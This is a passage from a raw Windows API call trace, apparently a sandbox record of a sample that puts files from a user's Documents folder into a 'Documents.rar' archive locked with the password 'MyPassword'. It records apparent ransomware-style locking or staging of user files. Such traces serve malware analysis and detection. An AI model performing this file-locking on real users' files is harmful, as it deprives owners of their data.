HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e889530 | out: hHeap=0x1162e7c0000) returned 1 [0082.085] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e87d290 | out: hHeap=0x1162e7c0000) returned 1 [0082.085] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x8cf67 [0082.085] CloseHandle (hObject=0x350) returned 1 [0082.085] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0082.085] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.085] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0082.086] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.086] FindFirstFileW (in: lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\5HLd-s\\Q9 7uahS\\1q4uHOxj.odt", lpFindFileData=0x141a0dc660 | out: lpFindFileData=0x141a0dc660) returned 0x1163204d640 [0082.086] FindClose (in: hFindFile=0x1163204d640 | out: hFindFile=0x1163204d640) returned 1 [0082.086] CreateFileW (lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\5HLd-s\\Q9 7uahS\\1q4uHOxj.odt" (normalized: "c:\\users\\fd1hvy\\documents\\9embkuph551l7_wjzv\\qfqemqdf\\5hld-s\\q9 7uahs\\1q4uhoxj.odt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0082.086] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f7650230, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0082.086] GetTickCount () returned 0x2a53f [0082.086] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0082.086] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0082.086] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0082.086] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0082.086] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="cA7tY- cuM.pptx") returned 15 [0082.086] SetWindowTextW (hWnd=0x10300, lpString="1q4uHOxj.odt") returned 1 [0082.087] GetTickCount () returned 0x2a53f [0082.087] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0082.087] CryptAcquireContextW (in: phProv=0x141a0dd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x141a0dd850*=0x116320a7310) returned 1 [0082.087] CryptGenRandom (in: hProv=0x116320a7310, dwLen=0x10, pbBuffer=0x141a0dd8d0 | out: pbBuffer=0x141a0dd8d0) returned 1 [0082.087] CryptReleaseContext (hProv=0x116320a7310, dwFlags=0x0) returned 1 [0082.087] GetSystemTime (in: lpSystemTime=0x141a0dd7e8 | out: lpSystemTime=0x141a0dd7e8*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x3b, wMilliseconds=0x239)) [0082.087] SystemTimeToFileTime (in: lpSystemTime=0x141a0dd7e8, lpFileTime=0x141a0dd7e0 | out: lpFileTime=0x141a0dd7e0) returned 1 [0082.087] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd810 | out: lpPerformanceCount=0x141a0dd810*=17341572289) returned 1 [0082.087] ReadFile (in: hFile=0x350, lpBuffer=0x11631b8e040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b8e040*, lpNumberOfBytesRead=0x141a0dd8f0*=0x45c0, lpOverlapped=0x0) returned 1 [0082.088] ReadFile (in: hFile=0x350, lpBuffer=0x11631b92600, nNumberOfBytesToRead=0xfba40, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b92600*, lpNumberOfBytesRead=0x141a0dd8f0*=0x0, lpOverlapped=0x0) returned 1 [0082.088] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x116320799e0 [0082.088] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079ce0 [0082.088] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079ce0, Size=0x48) returned 0x1162e888ea0 [0082.088] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86d570 [0082.088] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079cb0 [0082.088] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079cb0, Size=0x48) returned 0x1162e888810 [0082.088] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86d570 | out: hHeap=0x1162e7c0000) returned 1 [0082.088] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ea0 | out: hHeap=0x1162e7c0000) returned 1 [0082.088] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163207a0d0 [0082.088] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079b00 [0082.088] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079b00 | out: hHeap=0x1162e7c0000) returned 1 [0082.088] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163207a0d0 | out: hHeap=0x1162e7c0000) returned 1 [0082.088] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x116320799e0, Size=0x53) returned 0x1163204d460 [0082.088] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163204d460, Size=0x8f) returned 0x1162e87c890 [0082.088] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888810 | out: hHeap=0x1162e7c0000) returned 1 [0082.088] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e87c890 | out: hHeap=0x1162e7c0000) returned 1 [0082.090] GetTickCount () returned 0x2a54e [0082.090] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd730 | out: lpPerformanceCount=0x141a0dd730*=17341891199) returned 1 [0082.090] GetTickCount () returned 0x2a54e [0082.090] GetTickCount () returned 0x2a54e [0082.090] GetTickCount () returned 0x2a54e [0082.090] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0082.090] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0082.090] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.091] ResetEvent (hEvent=0x344) returned 1 [0082.091] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.092] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0082.092] ResetEvent (hEvent=0x344) returned 1 [0082.092] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.093] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0082.093] GetTickCount () returned 0x2a54e [0082.093] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17342133985) returned 1 [0082.093] GetTickCount () returned 0x2a54e [0082.093] GetTickCount () returned 0x2a54e [0082.093] GetTickCount () returned 0x2a54e [0082.093] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 0 [0082.093] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 0 [0082.093] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.093] ResetEvent (hEvent=0x33c) returned 1 [0082.093] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.093] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0082.093] ResetEvent (hEvent=0x33c) returned 1 [0082.093] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.094] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0082.094] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0082.094] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.094] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5e0*=0) returned 0x8cf67 [0082.094] SetFilePointer (in: hFile=0x32c, lDistanceToMove=141, lpDistanceToMoveHigh=0x141a0dd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5b0*=0) returned 0x8cff4 [0082.094] CryptUnprotectMemory (in: pDataIn=0x141a0dd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd460) returned 1 [0082.094] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x141a0dd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0082.094] CryptUnprotectMemory (in: pDataIn=0x141a0dce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dce40) returned 1 [0082.094] CryptUnprotectMemory (in: pDataIn=0x141a0dcf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dcf40) returned 1 [0082.094] CryptUnprotectMemory (in: pDataIn=0x141a0dd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x141a0dd0c0) returned 1 [0082.094] WriteFile (in: hFile=0x32c, lpBuffer=0x1163023fb20*, nNumberOfBytesToWrite=0x4630, lpNumberOfBytesWritten=0x141a0dd5e0, lpOverlapped=0x0 | out: lpBuffer=0x1163023fb20*, lpNumberOfBytesWritten=0x141a0dd5e0*=0x4630, lpOverlapped=0x0) returned 1 [0082.095] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0082.095] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.095] SetFilePointer (in: hFile=0x32c, lDistanceToMove=577383, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x8cf67 [0082.095] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0d9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0d9c80*=0) returned 0x8cf67 [0082.095] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079ce0 [0082.095] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079c20 [0082.095] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079c20, Size=0x48) returned 0x1162e888ea0 [0082.095] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86db30 [0082.095] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079c20 [0082.095] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079c20, Size=0x48) returned 0x1162e888ef0 [0082.095] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86db30 | out: hHeap=0x1162e7c0000) returned 1 [0082.095] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ea0 | out: hHeap=0x1162e7c0000) returned 1 [0082.095] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079bc0 [0082.095] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079e00 [0082.095] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079e00 | out: hHeap=0x1162e7c0000) returned 1 [0082.095] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079bc0 | out: hHeap=0x1162e7c0000) returned 1 [0082.095] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079ce0, Size=0x53) returned 0x1163204d460 [0082.095] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163204d460, Size=0x8f) returned 0x1162e87d290 [0082.095] WriteFile (in: hFile=0x32c, lpBuffer=0x1162e87d292*, nNumberOfBytesToWrite=0x8d, lpNumberOfBytesWritten=0x141a0d82c0, lpOverlapped=0x0 | out: lpBuffer=0x1162e87d292*, lpNumberOfBytesWritten=0x141a0d82c0*=0x8d, lpOverlapped=0x0) returned 1 [0082.095] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079bf0 [0082.095] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x8d) returned 0x1162e87d010 [0082.096] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ef0 | out: hHeap=0x1162e7c0000) returned 1 [0082.096] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e87d290 | out: hHeap=0x1162e7c0000) returned 1 [0082.096] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x91624 [0082.096] CloseHandle (hObject=0x350) returned 1 [0082.096] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0082.096] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.096] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0082.096] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.096] FindFirstFileW (in: lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\5HLd-s\\Q9 7uahS\\Kin6ms4WyJhH.xlsx", lpFindFileData=0x141a0dc660 | out: lpFindFileData=0x141a0dc660) returned 0x1163204d460 [0082.096] FindClose (in: hFindFile=0x1163204d460 | out: hFindFile=0x1163204d460) returned 1 [0082.096] CreateFileW (lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\5HLd-s\\Q9 7uahS\\Kin6ms4WyJhH.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\9embkuph551l7_wjzv\\qfqemqdf\\5hld-s\\q9 7uahs\\kin6ms4wyjhh.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0082.096] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f7650630, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0082.096] GetTickCount () returned 0x2a54e [0082.096] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0082.096] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0082.096] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0082.096] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0082.096] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="1q4uHOxj.odt") returned 12 [0082.096] SetWindowTextW (hWnd=0x10300, lpString="Kin6ms4WyJhH.xlsx") returned 1 [0082.098] GetTickCount () returned 0x2a54e [0082.098] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0082.098] CryptAcquireContextW (in: phProv=0x141a0dd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x141a0dd850*=0x116320a7310) returned 1 [0082.098] CryptGenRandom (in: hProv=0x116320a7310, dwLen=0x10, pbBuffer=0x141a0dd8d0 | out: pbBuffer=0x141a0dd8d0) returned 1 [0082.098] CryptReleaseContext (hProv=0x116320a7310, dwFlags=0x0) returned 1 [0082.098] GetSystemTime (in: lpSystemTime=0x141a0dd7e8 | out: lpSystemTime=0x141a0dd7e8*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x3b, wMilliseconds=0x249)) [0082.098] SystemTimeToFileTime (in: lpSystemTime=0x141a0dd7e8, lpFileTime=0x141a0dd7e0 | out: lpFileTime=0x141a0dd7e0) returned 1 [0082.098] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd810 | out: lpPerformanceCount=0x141a0dd810*=17342682309) returned 1 [0082.098] ReadFile (in: hFile=0x350, lpBuffer=0x11631b8e040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b8e040*, lpNumberOfBytesRead=0x141a0dd8f0*=0xa064, lpOverlapped=0x0) returned 1 [0082.099] ReadFile (in: hFile=0x350, lpBuffer=0x11631b980a4, nNumberOfBytesToRead=0xf5f9c, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b980a4*, lpNumberOfBytesRead=0x141a0dd8f0*=0x0, lpOverlapped=0x0) returned 1 [0082.099] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0082.099] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.099] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079c80 [0082.099] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079f80 [0082.099] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079f80, Size=0x48) returned 0x1162e889120 [0082.099] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86d570 [0082.099] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079e00 [0082.099] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079e00, Size=0x48) returned 0x1162e888ea0 [0082.099] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86d570 | out: hHeap=0x1162e7c0000) returned 1 [0082.099] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e889120 | out: hHeap=0x1162e7c0000) returned 1 [0082.099] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079b00 [0082.099] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079d40 [0082.099] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079d40 | out: hHeap=0x1162e7c0000) returned 1 [0082.099] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079b00 | out: hHeap=0x1162e7c0000) returned 1 [0082.099] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079c80, Size=0x58) returned 0x1163204d460 [0082.099] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163204d460, Size=0x94) returned 0x1162e87d150 [0082.099] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ea0 | out: hHeap=0x1162e7c0000) returned 1 [0082.099] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e87d150 | out: hHeap=0x1162e7c0000) returned 1 [0082.100] GetTickCount () returned 0x2a54e [0082.100] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd730 | out: lpPerformanceCount=0x141a0dd730*=17342858027) returned 1 [0082.100] GetTickCount () returned 0x2a54e [0082.100] GetTickCount () returned 0x2a54e [0082.100] GetTickCount () returned 0x2a54e [0082.100] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0082.100] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0082.100] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.101] ResetEvent (hEvent=0x344) returned 1 [0082.101] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.605] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0082.605] ResetEvent (hEvent=0x344) returned 1 [0082.605] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.607] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0082.607] GetTickCount () returned 0x2a752 [0082.607] GetLastError () returned 0x0 [0082.607] SetLastError (dwErrCode=0x0) [0082.607] GetDlgItem (hDlg=0x102f8, nIDDlgItem=158) returned 0x10304 [0082.607] GetDlgItem (hDlg=0x102f8, nIDDlgItem=153) returned 0x10302 [0082.607] GetWindowTextW (in: hWnd=0x10302, lpString=0x141a0dbe80, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0082.607] SendMessageW (hWnd=0x10304, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x64 [0082.610] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17393863167) returned 1 [0082.610] GetTickCount () returned 0x2a752 [0082.610] GetTickCount () returned 0x2a752 [0082.610] GetTickCount () returned 0x2a752 [0082.610] CoCreateInstance (in: rclsid=0x7ff6f75ef5e0*(Data1=0x56fdf344, Data2=0xfd6d, Data3=0x11d0, Data4=([0]=0x95, [1]=0x8a, [2]=0x0, [3]=0x60, [4]=0x97, [5]=0xc9, [6]=0xa0, [7]=0x90)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ff6f75ecc60*(Data1=0xea1afb91, Data2=0x9e28, Data3=0x4b86, Data4=([0]=0x90, [1]=0xe9, [2]=0x9e, [3]=0x9f, [4]=0x8a, [5]=0x5e, [6]=0xef, [7]=0xaf)), ppv=0x141a0dd2b8 | out: ppv=0x141a0dd2b8*=0x11632079b00) returned 0x0 [0082.610] TaskbarList:ITaskbarList3:SetProgressState (This=0x11632079b00, hwnd=0x102f8, tbpFlags=2) returned 0x0 [0082.611] TaskbarList:ITaskbarList3:SetProgressValue (This=0x11632079b00, hwnd=0x102f8, ullCompleted=0x9aa09, ullTotal=0x31d668) returned 0x0 [0082.611] TaskbarList:IUnknown:Release (This=0x11632079b00) returned 0x0 [0082.611] GetLastError () returned 0x36b7 [0082.611] SetLastError (dwErrCode=0x36b7) [0082.611] GetDlgItem (hDlg=0x102f8, nIDDlgItem=157) returned 0x1031a [0082.611] GetDlgItem (hDlg=0x102f8, nIDDlgItem=152) returned 0x10318 [0082.611] GetWindowTextW (in: hWnd=0x10318, lpString=0x141a0dbe80, nMaxCount=2560 | out: lpString=" 9%") returned 5 [0082.611] SetWindowTextW (hWnd=0x10318, lpString=" 19%") returned 1 [0082.612] GetLastError () returned 0x0 [0082.612] SetLastError (dwErrCode=0x0) [0082.612] GetDlgItem (hDlg=0x102f8, nIDDlgItem=164) returned 0x10314 [0082.612] GetWindowTextW (in: hWnd=0x10314, lpString=0x141a0dbe80, nMaxCount=2560 | out: lpString=" 93%") returned 5 [0082.612] SendMessageW (hWnd=0x1031a, Msg=0x402, wParam=0x13, lParam=0x0) returned 0x9 [0082.613] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 0 [0082.616] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 0 [0082.619] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.619] ResetEvent (hEvent=0x33c) returned 1 [0082.619] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.619] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0082.619] ResetEvent (hEvent=0x33c) returned 1 [0082.619] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.622] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0082.622] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0082.622] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.622] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5e0*=0) returned 0x91624 [0082.622] SetFilePointer (in: hFile=0x32c, lDistanceToMove=146, lpDistanceToMoveHigh=0x141a0dd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5b0*=0) returned 0x916b6 [0082.622] CryptUnprotectMemory (in: pDataIn=0x141a0dd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd460) returned 1 [0082.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x141a0dd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0082.622] CryptUnprotectMemory (in: pDataIn=0x141a0dce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dce40) returned 1 [0082.622] CryptUnprotectMemory (in: pDataIn=0x141a0dcf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dcf40) returned 1 [0082.622] CryptUnprotectMemory (in: pDataIn=0x141a0dd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x141a0dd0c0) returned 1 [0082.622] WriteFile (in: hFile=0x32c, lpBuffer=0x1163023fb20*, nNumberOfBytesToWrite=0xa0d0, lpNumberOfBytesWritten=0x141a0dd5e0, lpOverlapped=0x0 | out: lpBuffer=0x1163023fb20*, lpNumberOfBytesWritten=0x141a0dd5e0*=0xa0d0, lpOverlapped=0x0) returned 1 [0082.623] PeekMessageW (in: lpMsg=0x141a0dd550, 